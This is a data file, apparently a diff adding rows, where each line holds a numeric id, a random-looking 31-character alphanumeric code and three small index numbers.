+4340,WA2J1TEDMFN694UNAJBNRH2Z1MS5GVR=,68,6,3 +4341,A75HTZT4HMHPH2SFDAPSDD1A1M1XFBF=,68,6,4 +4342,4HFET68ISTPMPCP4YFY9FDNUE966MSG=,68,6,5 +4343,D7PSAT9BDTT92QB30JDG1RY5B6BGA0S=,68,6,6 +4344,X2UQJFUTGNAE64E8FMNDFIJ8YQCLR9R=,68,6,7 +4345,HTPIJAX2XU3NJ4C5BWHRU19ZOWO8NPC=,68,7,0 +4346,0ZQYPP1APKDIRAGWYL2Z79Y27VZURTW=,68,7,1 +4347,USLDCSRB0GV87699G05VVENDN7EYV31=,68,7,2 +4348,R54YH8NVEXDYAJHPQA23BZGAL7A93II=,68,7,3 +4349,PZ9UKC6VYUI2KCE5A536NEAJZ2ME9J5=,68,7,4 +4350,M8A210A65CBRQ6CYSZ4FTKQQCSXFM8B=,68,7,5 +4351,ER8FWTYCSKVO4E0BOS8P13MTAU5IS7V=,68,7,6 +4352,W8JJ1PCIDL8PGO3APA9JAVYA0S799XE=,68,7,7 +4353,RLJ17YWJ8K3IWH1AVOYAB9EISJSCVWH=,69,0,0 +4354,FQBXR9DMC9KZPI2FYA4TGK6A2RF54PE=,69,0,1 +4355,XVNFI89DN2BFPCNCKMZ474KZ38JENTZ=,69,0,2 +4356,YD99Z003ICHFF92P9ZVJFFFJO45943U=,69,0,3 +4357,06OVIY3LMU8BWQSHLT9IJU5MZ8RUNU5=,69,0,4 +4358,UMT2RC7Q80H9IV3PAEGWZDYVK87MANJ=,69,0,5 +4359,UDULQ30N1OYWZIRIIG3TOIPUSFSXCGV=,69,0,6 +4360,5BP23WAP3UVV3X7J0OQQIXTLOXYCMYB=,69,0,7 +4361,7TLPSVXGZP6ZZJ2VC7FE9393JY7JO3R=,69,1,0 +4362,8F1M6U9YL0KZBX1DCJ39QWMH2OZGP8W=,69,1,1 +4363,NK5ECNUOILY4449T8T86Y6233AADX8Z=,69,1,2 +4364,GL8SLIPDDXXSQ29KPKR9SMQMXBZYKE0=,69,1,3 +4365,9LLCCEO2CQRLTUZP39FLEFAP2WR9PB1=,69,1,4 +4366,035LWIQD7RRTQTHBPB1V1L858E9TL3U=,69,1,5 +4367,RY17ZHYA5NXIV45NDZBBX0SN2VZF30M=,69,1,6 +4368,ZEV74GEZDS2F76922UGVLBLET8FDZV2=,69,1,7 +4369,MN5RXTAWK00ZORRT1XT8MNJ24C11PEM=,69,2,0 +4370,EY3BX1WULJTFNVX0TNU1TYPJVITPP2L=,69,2,1 +4371,XEICIWD7KO1RPTU46FV68KPAMLLKH03=,69,2,2 +4372,I6KQYG4BQKCPQKMHM05R1ETW0AOFM59=,69,2,3 +4373,WO4Y8L1LSQ673UA6F6BX5TEOOSA5KS6=,69,2,4 +4374,W2KI3IYH09ISSRWXNDY1JACQ5R4IPZU=,69,2,5 +4375,Q2J21QWZSTTQZ2SWKVTED0GL7XBC49U=,69,2,6 +4376,7MDDC0PLS5CIYYOC9RYQXSRW21JI6WK=,69,2,7 +4377,Y1T0JZU5US1SF5NPPST04NA5KPQJYTF=,69,3,0 +4378,3J0UMYI9SMQX361ZS53WRVOJLPG3CEP=,69,3,1 +4379,LFQR76O069TSETKS89S9KQLF1VHLF5C=,69,3,2 +4380,SDSNALYHY7BJX6EQABZYKHUUUXT050W=,69,3,3 +4381,P5AB1ZITBPDS9P9EFFBRAXG18XFP94C=,69,3,4 +4382,8U62ICP28IHTVWRYEV5JMDXOXTWER6K=,69,3,5 +4383,YDMO65S2UBF0QEXHJRWFMEQ47480IJX=,69,3,6 +4384,6CBQA3RFDA8C42NX6MSEP9U290INHA7=,69,3,7 +4385,F8840NXB884TGNBS7ON8W8XY45SWD56=,69,4,0 +4386,NX3A82OU0Q06QVOGBQQAHK9BTD72Q7Z=,69,4,1 +4387,IBXGFDLRUJREOH9TPBXY8CEIUOB0SDU=,69,4,2 +4388,2OO06XSQBHPP31BDG6WFGM0AXOYHDXL=,69,4,3 +4389,HIRCDIENT2S6MBEMELKL2YBUOJ1LSAR=,69,4,4 +4390,K105GI9ATYH20LF90S2S1A7QHYO1DCR=,69,4,5 +4391,2TJ6FA1MPO5TUVDIKQE4TFWMHACJT6G=,69,4,6 +4392,5WEZ6AOT5R5OT336UFJRYS0EIJ03T00=,69,4,7 +4393,FBT74X1SRQX9GHIOE1Z3WFUJKSWOS81=,69,5,0 +4394,TPFJUPWVJLV276ON80W9XYJCPQC8PP3=,69,5,1 +4395,TXS8TZFYUYBY3W481VE0K5ZDOLZYC5N=,69,5,2 +4396,HMHJ4V61FZKP6U580MDA0NH4BFLFP91=,69,5,3 +4397,QATK2S0JNPGZG33EV6VN6NC1Q9VVSO5=,69,5,4 +4400,MFKR0KEURXLSU5XXACJYMMLD3ASK73P=,69,5,7 +4401,RH6D74XWY2FRAJ1H7XXBJCGVE5GI0H0=,69,6,0 +4402,U607SH8BXSQQY6W2SSZ095UU1SUBBDB=,69,6,1 +4403,HN0PK5DDZCCR54UNE64UFTM0LJLT8A8=,69,6,2 +4404,YZHSJBPCG8VWRB3NNTN2ELO5KN08QVA=,69,6,3 +4405,VR9M5DSTRAGE79ATR0KKTPGJZ6LJS1F=,69,6,4 +4406,ZZQVZCDT8085XKO14UT45XQ4U6B20BA=,69,6,5 +4407,J96J9NT22NGKA5MRO1SOQX3S20PJE7C=,69,6,6 +4408,1NG07JTXWH4PN0638VWSLNXGI2UPDGD=,69,6,7 +4409,B4UGRI1TBU4MVOINJRCG8UBI048CZ3U=,69,7,0 +4410,TDDUZO0UUHPBLW949CAOQ0AERVUVVDI=,69,7,1 +4411,E4IM1F1NUVM7YH45PGAKCAVY3EH0QOY=,69,7,2 +4412,F6RRMIFICJT3VLCN5M7YWC6AT3LPNKQ=,69,7,3 +4413,JFWMDGGL2L6TRFC9OEPI3E5O8R26IIU=,69,7,4 +4414,Q6F8LUGOPHQ26TH7FWBQWBNISAFDH0K=,69,7,5 +4415,UIYL0CZZP8705F8XFJ2JHI0GZZZMPVV=,69,7,6 +4416,QEMO4M5S18SV3NVEWPMJ1DBPKN3VL7I=,69,7,7 +4417,OSWMY0UUTTA16RDYGFVSEN7TQ2CUWXA=,70,0,0 +4418,J7YDUMFTLGBC0BAKCYCXDNCV851IOGC=,70,0,1 +4419,ZES6LCBVLY5FGQ4ZHU8HQ1GHUWWXS62=,70,0,2 +4420,ODM4K9GRLEUDW7YLMUJAPY4YOPFUXR4=,70,0,3 +4421,1VYCFWPXGOFZVDN2HQ3G8OPW4QJ6685=,70,0,4 +4422,WSPFW5NY8E3S1ZRUQSGQA6V5U9OVTOR=,70,0,5 +4423,NH262EV3MBX495408L5HRWQPM3LAO1Y=,70,0,6 +4424,QDN9VQZF7HQ67EVPHPN3QN27K8KWB3S=,70,0,7 +4425,YHNPIX77OOA1Q8NNV7R9EYXZAQVTOM2=,70,1,0 +4426,A9G554Y7NZ4LMIIBXDEU538S4R5BBSZ=,70,1,1 +4427,13Z3620HYIF2A1BJXTOBTSCTR20VBWV=,70,1,2 +4428,7CSKJ17X51JX43UXSKMW6KKMOX1KXTI=,70,1,3 +4429,XBHMLS3FSA25ILS7Z3JLJABHDHYXRTF=,70,1,4 +4430,TVTM82S2T14HD5FM381DGUK8MGPUQA3=,70,1,5 +4431,TIMUXYEDFIW4S7YLVPNIH1XATYI2VSP=,70,1,6 +4432,YE7C1R948HATOQE6VKXH8BI7YIARIBB=,70,1,7 +4433,SIHNVE9D7YGL2PBWC358L0R351LKDB6=,70,2,0 +4434,3VO7ACDJM4VMYJ74KECFD707M8SH2MW=,70,2,1 +4435,PY0B3HNN9YOFQJC2V8K59V7SEEHVKU6=,70,2,2 +4436,TTKVSWT3T4OSP5Y9TT987Z55IJGR1QM=,70,2,3 +4437,GVTZF90AT2CEV5UOFI41HJZD106L8SP=,70,2,4 +4438,1JNCSUD1FUS51I836R8Q370RLJRYG4F=,70,2,5 +4439,V22XOO6T4ZWZ5JDZTC2Y296GEK3FMND=,70,2,6 +4440,A6BHH0TP71EGAOOU3V3QT0QD7C1AR1T=,70,2,7 +4441,XH4TXXEWEQX4KPDT3BH4M36BUJ70GTB=,70,3,0 +4442,AU3OWKZDVB25WA6DQC3K0Q6PMQMA52Y=,70,3,1 +4443,U21XYKHVJWD0MWMEOHB9G6862E13JGE=,70,3,2 +4444,NOSCZ9U1ARP30B3DSBTL7X5VU193BH4=,70,3,3 +4445,QDST4HVQJG9LZV8M485MEJG0NL7NLT3=,70,3,4 +4446,QGBNB1OXNQP3ESKWQI2FMY0TN9O7LFQ=,70,3,5 +4447,ZGMH6TZNYL72GKJKMZZSA6WHWR1Z1UF=,70,3,6 +4448,GFF6J72QIY4HROCB0CLT4WJ9BJ3N8D5=,70,3,7 +4449,RS77GELBEP9YLD2AGVZKFVFHT5SHSQZ=,70,4,0 +4450,123SC78JIVQV2D1ASO0912B0R47T9L4=,70,4,1 +4451,ED8H5AYEE1YD58SCN9AJUOQBHPBZMBJ=,70,4,2 +4452,X3BGOAL8NBKWZXX7HVNZQXTW6GY1WTS=,70,4,3 +4453,ET6PJFPW88QK41UGRZRHS419IWWELD6=,70,4,4 +4454,6AVG4HZXEF7QYZLJLAMMQNSQ7U2800C=,70,4,5 +4455,PAG8Y5CCTN8ZRXOVWC2VVQRX0E5KOCC=,70,4,6 +4456,7U9NWEAZ3SNJ10WPRSK93346JDEFEBH=,70,4,7 +4457,VGE44IX4U3ST8O2H3VE8A9PGDTE85VF=,70,5,0 +4458,7BBY1LQM2KIHBCR9VV0WXHSKTNI40ZK=,70,5,1 +4459,SZ18K3R08GXJEAW0MEH46B1S357DURQ=,70,5,2 +4460,P0AVTU4VRYL11B4K6RE90CPS9617O3Z=,70,5,3 +4461,2Z2GNYUCK8UP9KY89YMHIQ2S9R9F9I9=,70,5,4 +4501,ZKIIG302HENZ2PJV3BNSS9W0EY1TPE4=,71,2,4 +4502,QO7K7VU6Q53NB9BMSVCQOHEUEXLA5Z4=,71,2,5 +4464,QDTXDM23IEHHSYKWYRDQBBI40QXGNSU=,70,5,7 +4465,VAOL0YPUY7Y3MIZ1KDB74E3SJLV22CN=,70,6,0 +4466,Y3LR4C06U7ZMVB1FK0HHG5OOMIJGU3B=,70,6,1 +4467,SRLI3V0ZVJ6PFJYWKUH22M89YNC4OCL=,70,6,2 +4468,ZKXU5SY8NXK25AKMNXGQBK26U7JOO5O=,70,6,3 +4469,1M5RM4X0E4NLZMJI9QH1XJB3ERJC6AL=,70,6,4 +4470,7JWS0ZNQB9KUP6CBIW0D8CTFISKA36C=,70,6,5 +4471,W1Z3IFHIGV1G5C142GIQZMSJARK24WK=,70,6,6 +4472,FR6VU9RRJFJZKA3DMRNBA1TTY16B7J6=,70,6,7 +4473,2CRGT0BNR2GO19P4GUIJSZKTHETAHQE=,70,7,0 +4474,OHC3CJ7FRWCKCOVME6BD1ROAVRAFS55=,70,7,1 +4475,Y6S4XC7P89Y1FJNAPM3822O1VXU3P3L=,70,7,2 +4476,R7J7HEP7RKPVO38HJWE9N9VIQ5IZGZ8=,70,7,3 +4477,8W9L5WP86O1FZDEVSQ6GYCMF0RW25JU=,70,7,4 +4478,D83PHRJTW6BKVGVVX8Z846W109KQEL7=,70,7,5 +4479,93Q7VXO66Y1MNTD34YJ7HV1DKONAR0U=,70,7,6 +4480,DOM4G1RV5BTCHLZOVSV72D6UEJZVO8V=,70,7,7 +4503,J1Y7385S5RLD9RL4FDVWZ4V96R5PDWF=,71,2,6 +4504,TKXMZ114J8N6ZM42PBITLCQUOUTZ06J=,71,2,7 +4505,Q6EFJSN2PJ6T3U97CW6UA2H1FXJ63DJ=,71,3,0 +4506,PJREYXDONYDNKA47LE961FAJ4HAF85S=,71,3,1 +4507,XWGKJBCZFT381PSHR7ICR7POBXT9AGA=,71,3,2 +4508,CCISJTMWUUIS7P2IMWRMQXRN0NHZZL9=,71,3,3 +4509,RXRJQCOVX3TW5J88GA5ASYZUXWCTLCK=,71,3,4 +4510,QO59OARCPS3AU7D3BJDCM7JWZWOCLQA=,71,3,5 +4511,7SHCHQ9PMWO4Q72E7ZIL5M4WBT00JFO=,71,3,6 +4512,FTCZPTVBYXW58J3J806F7421SE0FGUJ=,71,3,7 +4513,2P74KP5BHWO7J4OGC50ISGX60ZPGZQK=,71,4,0 +4514,9E8UP2IAU4VPUZ258TAQSCZCB8Q55R4=,71,4,1 +4515,RU8WVY40L7Z2P9EG8O40ZILGFAA9H2X=,71,4,2 +4516,4OHT19T3IBGHDAMHHNNKLSUMO7HEOBZ=,71,4,3 +4517,79ITNJH583LPKPH4B53OI7P5WREW5IR=,71,4,4 +4518,CUSQ5L0THSQ0JDU47NV4QGW7P4A8KPE=,71,4,5 +4519,HNDB55PZ0MERR71ES5YLKJ4E4UAI7XK=,71,4,6 +4520,6OX1TUD94XVN64453MHJ0RXEISCZ2IS=,71,4,7 +4521,494KL1QX9FJ3WHDVFHK4IJQS58RWSA0=,71,5,0 +4522,K24XXWZ31Y4MZOD6U5XSRV6VX49QFKE=,71,5,1 +4523,ZJBPNPV3U1GTU2QXRGFSZQX7E77W3TC=,71,5,2 +4524,7GR4R26GCKBZIA2VWVXP69Z89OOFGXJ=,71,5,3 +4525,5IBEGMK2HBM31526YGAI9HMU588DDXU=,71,5,4 +4528,SNGE3F80J9CE44TJ2JZ837D6KEUX1WD=,71,5,7 +4529,CIUMWFRCXCNZHBNJYBGZEQUCWY30P1D=,71,6,0 +4530,YOZR17DAV0J02IJ1XWC8IRAQ5WT54W1=,71,6,1 +4531,2U35SQ7F8WC056GEM2YPKQJG1O7OU3M=,71,6,2 +4532,4QVVPKC5R2KD2IUDVFO5SXS9F9GDQEL=,71,6,3 +4533,EL28TY4HWNM1CWV9JYXE2MDVZW4HBX9=,71,6,4 +4534,WIYXH6K1S3BPDWG8I17MI5VBFV9TYYG=,71,6,5 +4535,CXXKQ64EHEZU2TYVC7XM4ACXQWGBS78=,71,6,6 +4536,DHPW6LEYGM7EYSELVRPXVYP242FTXRF=,71,6,7 +4537,SS94MS0V14HGGXQ84DKBQHHFN51I64P=,71,7,0 +4538,A317UH3F26MAWHRI58YJ8HOPV7XWABZ=,71,7,1 +4539,8GIVFDKPVA8SE9LS67HGTTBPEGB1JVY=,71,7,2 +4540,TYU81C2R4NZ7MTCWI57S179DKQOO1UP=,71,7,3 +4541,7IQAQ1IPHWDS6IYRJ1AE9VC10SR7LZS=,71,7,4 +4542,JQ88CNFX67LA0GNH292PL7TLD1BQ7X6=,71,7,5 +4543,W68V1FN2IRGX3XCOHDSS5Y3ZBRCH280=,71,7,6 +4544,YQIHVODUCLQK0SP6FXSM819D9LIT3Q2=,71,7,7 +4545,7ES5UC7RH0JHH8WSOMCWG5JKW1EF1LF=,72,0,0 +4546,3SGUTGYSG2ARSZKW26RU3D9T4OV8LAY=,72,0,1 +4547,C9DJYY7FDIYVPZZI0KFWDS50GG8N1K5=,72,0,2 +4548,4OO7ZG2EDE7FY31XZS0UDOXVR8U4E71=,72,0,3 +4549,DJLNFFZHR17TT8U9JB3T574MHK8I1VZ=,72,0,4 +4550,RWCWOT6TW83C8W6BHTKINRZUJEMKTPB=,72,0,5 +4551,O6UAVEEDCYUSQ76WXNCJNMDI5Y5AXXE=,72,0,6 +4552,0O4P9W5UO8Q9FCBKTUGAFKBN6K4P6C6=,72,0,7 +4553,C0MCUQ2AGRGDWQFNESERTBV6Q15D23O=,72,1,0 +4554,DX78I65VRRAGYR4TEVT1D0IYUDI038Y=,72,1,1 +4555,IG6SCO9F73OV9E521JN5VWZL01KL0MT=,72,1,2 +4556,1V36A9PARQ7GXNHEGME5PCVOPRB7ZTJ=,72,1,3 +4557,3J9KY9ZESYIFRPENH75XQ5SSGMW5TI6=,72,1,4 +4558,8HAHR1J54BY12RQ7Z4LBUBD6TDWGF4P=,72,1,5 +4559,Z5JCXAE25XG83YXLJHVT16BSSSH85OY=,72,1,6 +4560,FIZ5DKLPV1JQZFR2IEGUM2TZ6LM5XFR=,72,1,7 +4561,LDEG75XBAXV6GPTQTFLCFLPR2VZJR7E=,72,2,0 +4562,HCGUYLPH5Q922HDZX5DBKLLZJAAOIUU=,72,2,1 +4563,N42TLL1MW0EIW58KD91U0TEICQXNBLO=,72,2,2 +4564,P08C9VG6M1DBPLV4MVEK7TMPNVGAYUO=,72,2,3 +4565,51E6FXN2KXH5E2BUMIAS16O1QG3IBCY=,72,2,4 +4566,VEFO6VVC1V9ULRGIS7AAOQ7OLDJRCQL=,72,2,5 +4567,Q509370U785EHOZ3YUHC3ZAKAJBYLLP=,72,2,6 +4568,7PON6BRLJBM8FBARG9F3EU42JCSFTQT=,72,2,7 +4569,D3IWUROPS0B5L2NYNX229PXSTGUFRDK=,72,3,0 +4570,GG5976LMKBUJX7XC30C4RWA4GTZYUDS=,72,3,1 +4571,PP3VKS9T4WBBFX2581DKJT7FQL4Z05O=,72,3,2 +4572,5UG0BDNCKT4F9FTWEIIJT38WF0WSWOA=,72,3,3 +4573,FTKMI5J6H67CEZ5H6756949WJHKQ2KX=,72,3,4 +4574,WMMUQW9X71OCIHCZ1OKPZ63IXH5QUBZ=,72,3,5 +4575,0FQELX4UF7JHW0ZZ4RM84C5IT4LVGSM=,72,3,6 +4576,MDVCMXW3LO0BZPM7KYSJKOMOV1F66M1=,72,3,7 +4577,OVP40J4V3FPBCRFA1QF8PTZ5N65C05O=,72,4,0 +4578,I3TA3XYJSVNXQIPZE5M6LYLR25YUU28=,72,4,1 +4579,JM76IFRA0KJUBGV1U8W7S8T8LZVB9W3=,72,4,2 +4580,0G6V7ZKS0TLM49V0GTKMM4CJ6MTD487=,72,4,3 +4581,223B2FRV279NLNUGWY16RPBGWT3JT3V=,72,4,4 +4582,S6S3ZMG01FC1JD2WHN3GWTH15QFQPWS=,72,4,5 +4583,H7JHK16DHH7TM1B0AANDNR2PIZK5O3D=,72,4,6 +4584,TWXTENMAP2QN74CIN421PJ3DH6OSQZP=,72,4,7 +4585,AGUJXFEG0TAD1KIG7D660MU1QRBPP6M=,72,5,0 +4586,6S1MI392BQJ11GUJ5GT9LPPB4WKHWLK=,72,5,1 +4587,FW5M2X9F4KL90LC1RDZTWZZ6V777WIR=,72,5,2 +4588,NO9DGTRR908CW9TDGYYUVYNQCP3RKWB=,72,5,3 +4589,RDLOWB8LCBU8M903JFX1FZSP6BOJ0G1=,72,5,4 +4592,BRMS1UZ3Z100U7NNNV9LW58FXOLRR16=,72,5,7 +4593,HQ9IMGG9LV4S72HULAPQ1LPVAFVPCOK=,72,6,0 +4594,1MQNQHMFPRMIOPGXOSWHNSCPNMTRVXZ=,72,6,1 +4595,VIQW28ECCXO91YHC1AR7XSSB85TQH51=,72,6,2 +4596,XJD2C9VDB2F4QA2W5EK1IFR4A2N0RUG=,72,6,3 +4597,SATZGNQVSHHXI0YYDEYT3JADNXJSE2K=,72,6,4 +4598,T16EZML5I5OXVQJBRPG2BXJZ5TOWAL3=,72,6,5 +4599,PUDS8ILNYWDQR84T9ULGKABA8YYSNC7=,72,6,6 +4600,FV5UJIGQ6HV5I4AIC25LNLN92SVKLND=,72,6,7 +4601,UGUS9V6HA7F2OYE3KXUTTXYYQ4O3PIV=,72,7,0 +4602,QND9W286CHI46EG3TJ8788UXHPJEB15=,72,7,1 +4603,WGYOGU9C9ZPCMC32RVZ7GRIE0UYIQKL=,72,7,2 +4604,1PEHMLRCAEQQPGYW6NP8ZM1QZMZ1ODE=,72,7,3 +4605,WPQ7SF4UY56P3U6E9FV07GUHDLHW7RA=,72,7,4 +4607,8S117CBUX6FLK5EN1O6IVMLZHKF0W5H=,72,7,6 +4608,UCN34WFU2FN5TXTEOV4CRQPC00VFWMA=,72,7,7 +4609,I8ZVFH6601UPUNYC5K0UL4808O8YLF5=,73,0,0 +4610,3XDDV5BXS879FOCZ2GDS7LO2HBS21GM=,73,0,1 +4611,34R7VQ2PRRAK7H9PXROMMVY51SM6XLK=,73,0,2 +4612,WSBNCDIQT1BYIQA6Z3LX67VPR6OUCBJ=,73,0,3 +4613,4I017JBCEPKF1NZCOXPZN6299D5COA1=,73,0,4 +4614,N0Q2M7KNW9WKHEZJUXRIIREDTQYCBHR=,73,0,5 +4615,3S99EKZXXJ744JYB76IY8G1XUSA7YSJ=,73,0,6 +4616,PVUI8U83X4HNK58QHTU7M83OA6T1KG6=,73,0,7 +4617,2SCK5FUGZ7PDCQXEXSDG8W3Z3SUIBIB=,73,1,0 +4618,2SY36FOKMLRLTDQSV6854VOV820Y7PJ=,73,1,1 +4619,EQHFWZJ8IN7OGYMTAUAK5BHJZFIEESD=,73,1,2 +4620,G49JMTQUZG1EYRXWDKZDUCETREWKYSV=,73,1,3 +4621,49381T5ENCKJAW9DTB5XUB1NMOKI6Y2=,73,1,4 +4622,BERQRHJGH32X8XEJCUKXJ5S0M4G3IUK=,73,1,5 +4623,VDNXC88X1EO7IKOSUK3RK491YQ9X4ZS=,73,1,6 +4624,6WD4443VKY941PWBY3UOGALILYZVHA2=,73,1,7 +4625,K6C5U20XR97CBLT6NVH6BB26G64YQFW=,73,2,0 +4626,CQPYQGKHXK9KUCGTY500ECKI88HYLDW=,73,2,1 +4627,LDBE2V849GSB7BQ6OWNCOBM7CWX6ALF=,73,2,2 +4628,KF0FBLW0UZRG9W03GOK8JBQVMV7OP59=,73,2,3 +4629,V2IEN9DT10A4RORXU1Q7QMEOA35DL9Z=,73,2,4 +4630,6U54Z67PDHJ2YZW5BVLG5W6GP67ZKCG=,73,2,5 +4631,GS4BJOCWN7KMCF7Y93X7PIPET73ZJA6=,73,2,6 +4632,1D4GLSKADZM1J4FN2280HL22LARYBFC=,73,2,7 +4633,OMBJTEK2OT3HBMFXOZHAFGXUR1O8YAF=,73,3,0 +4634,8H82TAC58YL1J3JFHMZY6UFJMJXUVRO=,73,3,1 +4635,MN7RV9XCGRE8MOI2E6NNNINP29T6GBH=,73,3,2 +4636,4DTQCJ5G3V2RET6IOJFK15BB5RXWSYD=,73,3,3 +4637,QYT6ZJVW0VD536TXW4VYZJG6D2HW18G=,73,3,4 +4638,HG68LNLGCMPC6GRLZBLGJXUS8P8ENMP=,73,3,5 +4639,JZA8Y5D90UIYVCUOKEGWN35QO4BLGC0=,73,3,6 +4640,ZS0AF0DVDQFXBB5X6XXPJ4DTAM5RWCD=,73,3,7 +4641,TUBTVT6DH5XCXV8PJ41D9UMC9SAVIYG=,73,4,0 +4642,5Y6XFO81QDGAULZ7DIOYNTJBY6IXWVU=,73,4,1 +4643,VF27O11N9BWUVQU5USYCUK3A6Y0SFLF=,73,4,2 +4644,P0QFKYACPA8OPGQOZWZR3JG85JTLJQM=,73,4,3 +4645,OI99GOLW30R4RT85SXSNKLRQQQGBUSZ=,73,4,4 +4646,TGE4I2WLWGEXYWMK9X5LMJNGWNQD335=,73,4,5 +4647,OUQT4XRCA6CUFLOTS9UCHFSH6X5TBVV=,73,4,6 +4648,6G4YODQXB0HWMVPQRWJDXTGA8R2GG1J=,73,4,7 +4649,AJTJ7T8YUH9ET9GOTFCJTH3SMFR8BWU=,73,5,0 +4650,KZF6UQK8HMYSIRDHX61RMZZGDR283M2=,73,5,1 +4651,LFO86BS0FQR1CL4UU64WXRLT5A11GGW=,73,5,2 +4652,0I5VRD64YODNEQ2H1G7K8K1HXNSMFQA=,73,5,3 +4653,9N9AJVVZLOBVYF0QI9P6MGX2BM8FX96=,73,5,4 +4656,TE58XIUMG6L0443DV9M1L9JWTIQ7PAS=,73,5,7 +4657,X5RQ3TDRJXBOQZJ4E7LPLIIAR5YQ5UL=,73,6,0 +4658,2FN4BG1EXP480726MX5QP72VFUGB38I=,73,6,1 +4659,1DES6UZ98YE7NTI17B1A15AK5P01JA7=,73,6,2 +4660,NO2TGWAVHOAJ6T3T04G4769RWFHQNPD=,73,6,3 +4661,JYTYU8KTUSB63LUYPG31419JZHY4927=,73,6,4 +4662,SEZHUI63IJLBOAEY2G7VQGD4TT4XVI3=,73,6,5 +4663,55G1K2JZZ6X9ETGYXY5IXWXHYSW21ZR=,73,6,6 +4664,N9ENWFX9YREUA6LIN5FF9Z5GV3Q7LXK=,73,6,7 +4665,P1GKGQUAHYVB23VWPH26WSL64ZXUR51=,73,7,0 +4666,QYMBKP8E6XWAKYA2NZMNHIQCW70MM4A=,73,7,1 +4667,TRVSRG2ARPQNEJ3F69QGF58RZPQO74C=,73,7,2 +4668,C6NW6AC0C4619P5C1G2Q5B3F47YBNCL=,73,7,3 +4669,ZOD3L421V4Z4I6D7AXQJNFFU0K3W99V=,73,7,4 +4670,XQZUK0O4HIHXBTXKQQAFQ7YVDH0RH3U=,73,7,5 +4671,2QVDSA0EBXNUNZY89SMR4DLGZ5MU6JD=,73,7,6 +4672,35S82VOYHR0XIROJ0N0IWU5GDAF33H2=,73,7,7 +4673,L2KRE0GIGCFTTVVJ5W9GHL2U373NFD6=,74,0,0 +4674,PTTSI95VFBZRH08YUTHYYTIPW1ST6H6=,74,0,1 +4675,MAQ7I31DNTDNEBUSUEMPFJTLYDVR6NR=,74,0,2 +4676,2KSR98V9FMKYCI3AYJ97MUP2AC4ZPK2=,74,0,3 +4677,ZDE76EPDBETF1OBL2MMS8RITQGN8DJZ=,74,0,4 +4678,3V4WU5JJT7LL38WROSAOA7OSDG9DCWN=,74,0,5 +4679,YVS4DI8QV8CXEIXMMK4AJBN5ZFAIKVT=,74,0,6 +4680,G4ARXCEY5M6QBQ9I0QJ0CV4R3FZU6IL=,74,0,7 +4681,Z9ZMPDYHBSU3UI8Y559N81HKFKGD6MB=,74,1,0 +4682,TQAONEY2F49A4KGR47O3HBX30RO85W6=,74,1,1 +4683,VPESVSKC5I7N0ARL9VW920WFVP0T01K=,74,1,2 +4684,R1E5D1GN7I24DYWQZM65VWBV4C47RD9=,74,1,3 +4685,UA59U1NGA57ADQQXZVC1QTITG29EPZ9=,74,1,4 +4686,ABQXVQ8EDRPLU3OI0EUZE8CDOV7D9Q5=,74,1,5 +4687,W3Y51UEPKVMPLNWCYCX5MOZA52WHDDL=,74,1,6 +4688,2TWEN52HJSWDEUXHB15Y9PJAWALQNE7=,74,1,7 +4689,PTJ57YES6ZY78IMPZ84Q6XQM1PXSH8S=,74,2,0 +4690,KE2HK9O2C8TDMG6N681SGQ0KAABJN8K=,74,2,1 +4691,0XPIHQ5IU8JO7GAYTIHVJ4GNC1XKE7Y=,74,2,2 +4692,BYJGXA9JV8TQIXJFTOKSY5OXBU5423K=,74,2,3 +4693,F5I0RDA1G216QXZX7JZXOPNQANYUPTE=,74,2,4 +4694,0YQ7R4UZQYJ6CLVRUTF088GHQWWE49A=,74,2,5 +4695,XBIN1OPNER33UQC95F7D21I56YF2OR4=,74,2,6 +4696,HTHKY00Z4ZA64GHBU2C7K6IPEU1PK3J=,74,2,7 +4697,DL4CWS8D7C3HDLNARPRQS8DZEMGT9QG=,74,3,0 +4698,QU0UYM6TVKW2F67PYJJ9WPSNJZWQASR=,74,3,1 +4699,0WWADIECPS3RC1J7XJ7C7SHHFWRHXKY=,74,3,2 +4700,Z141KI6FP80L7KCPN6N17VPMTL79I7X=,74,3,3 +4701,Y6ECYOBYFR4QTEL1KVWUJY28J1TT8OX=,74,3,4 +4702,SJTSM0FYFVTJ4X32UJV5NJN9CQVI62W=,74,3,5 +4703,YGIY0TBKX18GIO4941JJZQX6ZJZRKGR=,74,3,6 +4704,V4T5XRKTXX6XHTME9DHUSTSHMS6V78M=,74,3,7 +4705,O5LK4TJAI6DT4KA951950F47DQ2SRZJ=,74,4,0 +4706,QWRVNUNT4HWJXPW4CVUJL2BH8EU0SPC=,74,4,1 +4707,2P18M8GV87QNG1T9GM58VT5UTYJEF24=,74,4,2 +4708,V43HP112J4IZ61L56ORK8NG6R9ZO6IO=,74,4,3 +4709,7PB4F6DI260XUVSA2HER33W8HKLTMME=,74,4,4 +4710,73I9YTS16SKV44OB1V78UWYH0Q4OJ5K=,74,4,5 +4711,0W5U1P7C0HPKETD5H6YF9VYM0QMRC4B=,74,4,6 +4712,X4PJAY1EEND89FDRWHEIGY20AF5NW1A=,74,4,7 +4713,K1FA6C02HDSXU31SALNGWP25JJN75AT=,74,5,0 +4714,SN419NCV6TICQNK7FJ6HYVE8GICJCPD=,74,5,1 +4715,9JRP7ZJIZ4VHZQ8GOURE6Z5FM30PVX6=,74,5,2 +4716,ISOEDJVO1N8DJDJ39ETTSSIQC6VVWG1=,74,5,3 +4717,DXC1SDVA0S965MGCZSG6H64UI4BMK58=,74,5,4 +4720,CNAW6P1LYYSUV5UQ8BBBTR7B5YWNJLZ=,74,5,7 +4721,Y7HC9BB0C58ZY7PG6KLQ8OUDLS70UX1=,74,6,0 +4722,DWUBV4FCUA4NAFATADVDZMRZ2X8P63V=,74,6,1 +4723,ZEROXULV9IR6HBAIEN3WCFXYW47JHYR=,74,6,2 +4724,U7W66Y3QD8IHIYH959FO6HQ1V770VOD=,74,6,3 +4725,GM99BMC85I3BSXPHDYLVRK7QNI0UKLQ=,74,6,4 +4726,MJ5WAVCMHF30WFT8BEH6XHD76A4HOBY=,74,6,5 +4727,5KTK1NYS9EEXCWZ90F8VY78TKF7OKPH=,74,6,6 +4728,RHV0ZSROX6LL0RD1DQZTNJ8Z4MNXQ47=,74,6,7 +4729,G8T97CZ8IWF79TJX8NJPG98ZQHUDNGP=,74,7,0 +4730,WNS4RJQKY2EKZKFCR5YQ5I7NQ1C14XM=,74,7,1 +4731,DGNIZJ1RVSJCZCHD26N406S1JADXCP3=,74,7,2 +4732,5BERTO7C05KL9HYNMXMXY2NXYFKCUXH=,74,7,3 +4733,YJBNWKFLPSKYABDJ9XSTBBIMOV72Z1R=,74,7,4 